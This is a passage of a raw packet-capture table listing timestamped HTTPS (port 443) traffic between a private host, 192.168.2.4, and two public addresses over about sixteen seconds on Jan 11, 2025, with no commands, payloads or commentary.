| Jan 11, 2025 03:53:06.899337053 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.232803106 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.232995033 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:07.233025074 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.233076096 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:07.233261108 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:07.233329058 CET | 443 | 53618 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.233391047 CET | 53618 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:07.254110098 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:07.254153013 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.254235983 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:07.255212069 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:07.255227089 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.906084061 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.907869101 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:07.908636093 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:07.908663034 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:07.908895016 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:07.908906937 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:08.348809958 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:08.348879099 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:08.348901033 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:08.348942995 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:08.348974943 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:08.348990917 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:08.348990917 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:08.349013090 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:08.349987030 CET | 53626 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:08.349999905 CET | 443 | 53626 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:08.475841999 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:08.475914955 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:08.476015091 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:08.476360083 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:08.476376057 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.105443954 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.105587959 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.106277943 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.106348991 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.108105898 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.108127117 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.108438015 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.108509064 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.108892918 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.151422024 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.527668953 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.527812004 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.527842045 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.527896881 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.528043032 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.528134108 CET | 443 | 53635 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.528191090 CET | 53635 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:09.544270992 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:09.544321060 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:09.544399977 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:09.544696093 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:09.544713020 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.173405886 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.173846006 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.174438000 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.174468040 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.174742937 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.174756050 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.623289108 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.623405933 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.623472929 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.623524904 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.623548985 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.623630047 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.623661041 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.623730898 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.624188900 CET | 53643 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:10.624236107 CET | 443 | 53643 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.758114100 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:10.758173943 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:10.758246899 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:10.759881020 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:10.759898901 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.406300068 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.406397104 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.407061100 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.407123089 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.414746046 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.414767981 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.415009022 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.415070057 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.415450096 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.459367037 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.793582916 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.793723106 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.793958902 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.793998003 CET | 443 | 53650 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.794053078 CET | 53650 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:11.813231945 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:11.813276052 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:11.813339949 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:11.813576937 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:11.813589096 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.467892885 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.468023062 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:12.468570948 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:12.468600988 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.468794107 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:12.468806028 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.903893948 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.903991938 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.904051065 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:12.904083967 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.904103994 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:12.904141903 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:12.904745102 CET | 53659 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:12.904764891 CET | 443 | 53659 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:13.037820101 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.037856102 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:13.038891077 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.039166927 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.039175034 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:13.669673920 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:13.669806004 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.670774937 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:13.670846939 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.672900915 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.672921896 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:13.673274994 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:13.673330069 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.673820019 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:13.715343952 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.051909924 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.052005053 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:14.052030087 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.052084923 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:14.052288055 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:14.052324057 CET | 443 | 53666 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.052376986 CET | 53666 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:14.075854063 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:14.075942039 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.076025963 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:14.076322079 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:14.076350927 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.710856915 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.710974932 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:14.711571932 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:14.711587906 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:14.711765051 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:14.711786985 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.169059992 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.169148922 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.169223070 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:15.169255972 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.169272900 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:15.169272900 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.169323921 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:15.181113005 CET | 53675 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:15.181154966 CET | 443 | 53675 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.303543091 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.303643942 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.303772926 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.304058075 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.304086924 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.934164047 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.934329987 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.935242891 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.935319901 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.937129021 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.937139988 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.937449932 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:15.937500000 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.937923908 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:15.979340076 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:16.348229885 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:16.348339081 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:16.348407984 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:16.348469019 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:16.348591089 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:16.348722935 CET | 443 | 53683 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:16.348783970 CET | 53683 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:16.369441986 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:16.369541883 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:16.369625092 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:16.369946003 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:16.369980097 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.013750076 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.013819933 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.014241934 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.014252901 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.014413118 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.014417887 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.450375080 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.450474024 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.450476885 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.450531006 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.450537920 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.450572968 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.450597048 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.450644970 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.451356888 CET | 53691 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:17.451409101 CET | 443 | 53691 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.577194929 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:17.577249050 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:17.577416897 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:17.577826977 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:17.577840090 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.227272034 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.227360964 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.228379965 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.228429079 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.230741024 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.230756044 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.231122971 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.231295109 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.231614113 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.275333881 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.625868082 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.625950098 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.625981092 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.626030922 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.626156092 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.626203060 CET | 443 | 53700 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.626252890 CET | 53700 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:18.635272980 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:18.635351896 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:18.635426998 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:18.635658979 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:18.635677099 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.261919022 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.262068033 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.262770891 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.262784004 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.262972116 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.262978077 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.708379984 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.708448887 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.708542109 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.708587885 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.708587885 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.708587885 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.709316015 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.709372997 CET | 443 | 53708 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.709403992 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.709441900 CET | 53708 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:19.834541082 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:19.834589958 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:19.834733963 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:19.835218906 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:19.835232019 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.555799007 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.555993080 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.558234930 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.558389902 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.560615063 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.560631037 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.561074972 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.561134100 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.561572075 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.603337049 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.943773031 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.943890095 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.943922043 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.943968058 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.944022894 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.944072962 CET | 443 | 53716 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.944132090 CET | 53716 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:20.958147049 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:20.958210945 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:20.958296061 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:20.958616018 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:20.958627939 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:21.610687971 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:21.610845089 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:21.611538887 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:21.611551046 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:21.611768961 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:21.611773968 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.059289932 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.059427977 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:22.059494019 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.059554100 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:22.059571028 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
